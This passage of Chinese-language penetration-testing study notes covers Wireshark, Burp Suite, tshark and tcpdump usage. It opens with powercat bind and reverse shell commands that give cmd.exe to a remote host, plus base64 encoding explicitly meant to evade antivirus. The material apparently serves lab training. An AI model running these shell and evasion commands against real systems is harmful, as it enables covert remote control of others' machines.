&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;powercat -l -p &lt;span class="m"&gt;4443&lt;/span&gt; -e cmd.exe &lt;span class="c1"&gt;#被控端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;kali： nc 172.168.169.136 &lt;span class="m"&gt;4443&lt;/span&gt; &lt;span class="c1"&gt;#控制端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250514222357977" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/4cf80f05092acb5a3b3ef3f47c3b2ed3.png"&gt;&lt;/p&gt;
&lt;h3 id="加密防微软"&gt;加密防微软
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;powercat -c 172.168.169.128 -p &lt;span class="m"&gt;443&lt;/span&gt; -e cmd.exe -ge &amp;gt; bmshell.ps1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# -ge（base64编码）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 编码以后就是全是乱码，所以在杀毒软件，或者说防守方看起来就不像是这个恶意的一个脚本文件。&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;powershell.exe -E &lt;span class="o"&gt;(&lt;/span&gt;bmshell.ps1用notepad打开复制编码）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 执行成功&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250514223436591" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/8700eb7f9fdd858e2eaf76d3f6cfde33.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250514224018263" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/067f8110996ffbcfe3d157e937783c29.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="绕的不多" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/c553247687fe8d69d521b9b5a559c2f9.png"&gt;&lt;/p&gt;
&lt;h2 id="wireshark"&gt;Wireshark
&lt;/h2&gt;&lt;p&gt;Wireshark 和 Burp Suite 是两款广泛用于网络分析和安全测试的工具，但它们在功能、使用场景和目标用户上有显著区别。以下是两者的主要区别：&lt;/p&gt;
&lt;h3 id="1-核心功能"&gt;&lt;strong&gt;1. 核心功能&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;网络协议分析工具&lt;/strong&gt;：主要用于捕获和分析网络流量（所有经过网卡的数据包）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;被动监听&lt;/strong&gt;：监控网络流量，不能直接修改数据包。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;协议解析&lt;/strong&gt;：支持数千种协议（如 TCP/IP、HTTP、DNS、ARP 等），提供详细的协议层级解析。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;：网络故障排查、性能分析、协议学习、安全取证（如抓取恶意流量）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Burp Suite&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web 安全测试工具&lt;/strong&gt;：专注于 Web 应用程序的渗透测试和漏洞挖掘。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主动拦截与修改&lt;/strong&gt;：作为代理服务器拦截、修改和重放 HTTP/HTTPS 请求。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;模块化功能&lt;/strong&gt;：包含 Scanner（漏洞扫描）、Intruder（暴力破解）、Repeater（请求重放）、Proxy（流量拦截）等模块。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;：测试 SQL 注入、XSS、CSRF 等 Web 漏洞，模拟攻击行为。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-使用场景"&gt;&lt;strong&gt;2. 使用场景&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;分析网络层（如 TCP 连接问题）或传输层（如丢包、延迟）问题。&lt;/li&gt;
&lt;li&gt;监控所有网络流量（包括非 HTTP 协议，如 DNS、ICMP、VoIP）。&lt;/li&gt;
&lt;li&gt;解密 SSL/TLS 流量（需配置私钥）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Burp Suite&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;测试 Web 应用程序的安全性（如 API、网站前后端）。&lt;/li&gt;
&lt;li&gt;修改 HTTP 请求参数（如 Cookie、Header）以验证漏洞。&lt;/li&gt;
&lt;li&gt;自动化扫描 Web 应用的常见漏洞（如 OWASP Top 10）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-协议支持"&gt;&lt;strong&gt;3. 协议支持&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;支持几乎所有网络协议（从底层以太网到应用层协议）。&lt;/li&gt;
&lt;li&gt;适用于分析非 Web 流量（如 FTP、SSH、SMTP）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Burp Suite&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;主要针对 HTTP/HTTPS 协议，部分功能支持 WebSocket。&lt;/li&gt;
&lt;li&gt;无法直接分析非 HTTP 流量（如 ICMP、TCP 握手过程）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="4-操作方式"&gt;&lt;strong&gt;4. 操作方式&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;需要选择网卡或导入抓包文件（&lt;code&gt;.pcap&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;通过过滤器（如 &lt;code&gt;http.request.method == &amp;quot;GET&amp;quot;&lt;/code&gt;）筛选流量。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Burp Suite&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;需要配置浏览器代理（如 &lt;code&gt;127.0.0.1:8080&lt;/code&gt;）以拦截流量。&lt;/li&gt;
&lt;li&gt;通过模块化工具链（如 Proxy → Repeater → Intruder）进行测试。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="5-用户角色"&gt;&lt;strong&gt;5. 用户角色&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;网络管理员、运维工程师、协议开发人员。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Burp Suite&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;安全工程师、渗透测试人员、Web 开发人员。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="6-典型应用示例"&gt;&lt;strong&gt;6. 典型应用示例&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;分析为什么某个设备无法连接到服务器（检查 TCP 三次握手是否完成）。&lt;/li&gt;
&lt;li&gt;捕获 DNS 查询失败的根本原因。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Burp Suite&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;修改登录请求中的密码参数，测试是否存在 SQL 注入漏洞。&lt;/li&gt;
&lt;li&gt;使用 Intruder 模块暴力破解弱密码。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="总结"&gt;&lt;strong&gt;总结&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;对比项&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;Burp Suite&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;定位&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;网络流量分析工具&lt;/td&gt;
 &lt;td style="text-align: center"&gt;Web 应用安全测试工具&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;协议支持&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;所有网络协议&lt;/td&gt;
 &lt;td style="text-align: center"&gt;主要 HTTP/HTTPS&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;操作方式&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;被动监听、解析流量&lt;/td&gt;
 &lt;td style="text-align: center"&gt;主动拦截、修改和重放请求&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;核心用户&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;网络工程师、运维人员&lt;/td&gt;
 &lt;td style="text-align: center"&gt;安全工程师、Web 开发者&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;strong&gt;典型场景&lt;/strong&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;排查网络故障、学习协议&lt;/td&gt;
 &lt;td style="text-align: center"&gt;挖掘 Web 漏洞、模拟攻击&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="协同使用"&gt;&lt;strong&gt;协同使用&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;在实际工作中，两者可以互补：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用 Wireshark 抓取底层网络问题（如 TCP 连接失败）。&lt;/li&gt;
&lt;li&gt;用 Burp Suite 深入测试 Web 应用逻辑漏洞（如越权访问）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="实操"&gt;实操
&lt;/h3&gt;&lt;p&gt;使用root账号运行wireshark存在风险&lt;/p&gt;
&lt;p&gt;抓包能力通过/usr/bin/dumpcap实现，默认只有root，wireshark组成员抓包&lt;/p&gt;
&lt;p&gt;.允许普通用户在所有网卡抓包&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo usermod -aG wireshark &lt;span class="nv"&gt;$USER&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515094745150" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/fb801d1d197161beff8f860820172a8f.png"&gt;&lt;/p&gt;
&lt;p&gt;指定ip地址，或者直接选择网卡查看实时流量&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250515094923962" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/cf31a5b8da50d750f8fe5cc95cef08eb.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250515095133424" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/fdf3e12ac6b41f3cb43898fff0144890.png"&gt;&lt;/p&gt;
&lt;p&gt;用筛选器做流量筛选&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ip.addr==172.168.169.128
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250515095324643" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/cdce1760f7450b23f46616a287afb766.png"&gt;&lt;/p&gt;
&lt;h3 id="一wireshark-图形界面常用过滤语法"&gt;&lt;strong&gt;一、Wireshark 图形界面常用过滤语法&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;在 Wireshark 的过滤栏中，可以通过协议、字段、逻辑运算符等快速筛选数据包。以下是一些常用过滤命令：&lt;/p&gt;
&lt;h4 id="1-基础过滤"&gt;&lt;strong&gt;1. 基础过滤&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;按协议过滤&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;tcp # 显示所有 TCP 流量
udp # 显示所有 UDP 流量
http # 显示 HTTP 流量
dns # 显示 DNS 查询/响应
icmp # 显示 ICMP 流量（如 ping）
ssl # 显示 SSL/TLS 流量
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;按 IP 地址过滤&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ip.addr == 192.168.1.100 # 显示与指定 IP 相关的流量（源或目标）
ip.src == 192.168.1.100 # 显示源 IP 为 192.168.1.100 的流量
ip.dst == 10.0.0.1 # 显示目标 IP 为 10.0.0.1 的流量
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250515100106331" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/b5ba0e973f49abca66d06bab71a6ffae.png"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;按端口过滤&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;tcp.port == 80 # 显示 TCP 端口为 80 的流量（HTTP）
udp.port == 53 # 显示 UDP 端口为 53 的流量（DNS）
tcp.dstport == 443 # 显示目标 TCP 端口为 443 的流量（HTTPS）
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="2-高级过滤"&gt;&lt;strong&gt;2. 高级过滤&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;组合逻辑运算符&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http &amp;amp;&amp;amp; ip.src == 192.168.1.100 # 显示指定 IP 的 HTTP 流量
tcp.port == 80 || tcp.port == 443 # 显示 HTTP 或 HTTPS 流量
!arp # 排除所有 ARP 流量
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;按内容过滤&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http.request.uri contains &amp;#34;login&amp;#34; # 显示 URL 包含 &amp;#34;login&amp;#34; 的 HTTP 请求
tcp.payload contains &amp;#34;password&amp;#34; # 显示 TCP 载荷中包含 &amp;#34;password&amp;#34; 的数据包
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;按协议字段过滤&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http.response.code == 404 # 显示所有 HTTP 404 响应
tcp.flags.syn == 1 # 显示 TCP SYN 标志位为 1 的数据包（握手）
dns.qry.type == A # 显示 DNS A 记录查询
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="3-流量分析"&gt;&lt;strong&gt;3. 流量分析&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;统计特定流量&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;tcp.analysis.retransmission # 显示 TCP 重传的数据包
tcp.analysis.duplicate_ack # 显示重复确认包
tcp.analysis.zero_window # 显示 TCP 零窗口（流量控制问题）
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;时间范围过滤&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;frame.time &amp;gt;= &amp;#34;2023-10-01 12:00:00&amp;#34; &amp;amp;&amp;amp; frame.time &amp;lt;= &amp;#34;2023-10-01 13:00:00&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="二命令行工具"&gt;&lt;strong&gt;二、命令行工具 &lt;code&gt;tshark&lt;/code&gt; 的实用命令&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;tshark&lt;/code&gt; 是 Wireshark 的命令行版本，适用于服务器环境或自动化脚本。&lt;/p&gt;
&lt;h4 id="1-基本捕获"&gt;&lt;strong&gt;1. 基本捕获&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;tshark -i eth0 # 捕获 eth0 网卡的流量
tshark -i any # 捕获所有网卡的流量
tshark -w output.pcap # 将捕获的流量保存到文件
tshark -r input.pcap # 读取并分析已有的抓包文件
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250515100004665" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/1bd7de97a4e1d75e14725a541c8cacc5.png"&gt;&lt;/p&gt;
&lt;h4 id="2-过滤捕获"&gt;&lt;strong&gt;2. 过滤捕获&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;tshark -i eth0 -f &amp;#34;tcp port 80&amp;#34; # 捕获 TCP 80 端口的流量（BPF 语法）
tshark -i eth0 -Y &amp;#34;http&amp;#34; # 捕获并实时显示 HTTP 流量（显示过滤）
tshark -r input.pcap -Y &amp;#34;ip.addr==192.168.1.100&amp;#34; # 从文件过滤指定 IP
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250515100234235" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/e001ac49f2959e6150ee316932fcc38a.png"&gt;&lt;/p&gt;
&lt;h4 id="3-输出格式"&gt;&lt;strong&gt;3. 输出格式&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;tshark -r input.pcap -T fields -e ip.src -e http.request.uri # 提取指定字段
tshark -r input.pcap -V # 显示详细协议解析
tshark -r input.pcap -qz &amp;#34;io,phs&amp;#34; # 统计流量协议分布
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="4-高级功能"&gt;&lt;strong&gt;4. 高级功能&lt;/strong&gt;
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;提取 HTTP 请求&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;tshark -r input.pcap -Y &amp;#34;http.request&amp;#34; -T json &amp;gt; http_requests.json
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;统计 TCP 会话&lt;/strong&gt;：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;tshark -r input.pcap -qz conv,tcp # 列出所有 TCP 会话（源/目标 IP 和端口）
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;解密 HTTPS 流量&lt;/strong&gt;（需私钥）：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;tshark -r encrypted.pcap -o &amp;#34;tls.keylog_file:sslkeylog.log&amp;#34; -Y &amp;#34;http&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="三其他实用技巧"&gt;&lt;strong&gt;三、其他实用技巧&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;保存过滤器&lt;/strong&gt;：
在 Wireshark 中右键点击过滤栏 → &amp;ldquo;Save Filter&amp;rdquo; 可保存常用过滤条件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;导出特定数据&lt;/strong&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;导出 HTTP 文件：&lt;code&gt;File → Export Objects → HTTP&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;导出特定数据包：右键数据包 → &amp;ldquo;Export Packet Bytes&amp;rdquo;。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="3"&gt;
&lt;li&gt;&lt;strong&gt;着色规则&lt;/strong&gt;：
通过 &lt;code&gt;View → Coloring Rules&lt;/code&gt; 自定义颜色标记特定流量（如高亮错误码 500）。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="总结-1"&gt;&lt;strong&gt;总结&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;场景&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;命令/语法示例&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;抓取 HTTP 流量&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;tshark -i eth0 -Y &amp;quot;http&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;分析指定 IP 的 DNS 查询&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;dns &amp;amp;&amp;amp; ip.src==192.168.1.100&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;查找 TCP 重传&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;tcp.analysis.retransmission&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;提取 URL 中的关键字&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;http.request.uri contains &amp;quot;admin&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;通过灵活组合过滤语法和命令行工具，可以快速定位网络问题或分析安全事件。&lt;/p&gt;
&lt;h2 id="tcpdump"&gt;Tcpdump
&lt;/h2&gt;&lt;p&gt;&lt;em&gt;T&lt;/em&gt;cpdump 106是基于文本的网络嗅探器，尽管缺少图形界面，但仍具有简化，强大和灵活的特点。它是迄今为止最常用的命令行数据包分析器，可以在大多数Unix和Linux操作系统上找到，但是本地用户权限决定了捕获网络流量的能力。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 下载官网练习包&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;wget wget https://www.offensive-security.com/pwk-online/password_cracking_filtered.pcap
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 用tcpdump读取流量包&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -r password_cracking_filtered.pcap 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250515101109652" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/555bc4b2b50d7817ec8c5746d6feeaf9.png"&gt;&lt;/p&gt;
&lt;p&gt;读取是全部显示的，我们可以用一些脚本来做过滤。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -n -r password_cracking_filtered.pcap &lt;span class="p"&gt;|&lt;/span&gt; awk -F&lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{print $3}&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sort &lt;span class="p"&gt;|&lt;/span&gt; uniq -c &lt;span class="p"&gt;|&lt;/span&gt; head
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -n -r password_cracking_filtered.pcap &lt;span class="p"&gt;|&lt;/span&gt; awk -F&lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{print $5}&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sort &lt;span class="p"&gt;|&lt;/span&gt; uniq -c &lt;span class="p"&gt;|&lt;/span&gt; head
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;sudo tcpdump -n -r password_cracking_filtered.pcap &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="c1"&gt;# 读取抓包文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;awk -F&lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{print $3}&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="c1"&gt;# 提取第三列字段&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;sort &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="c1"&gt;# 排序&lt;/span&gt;
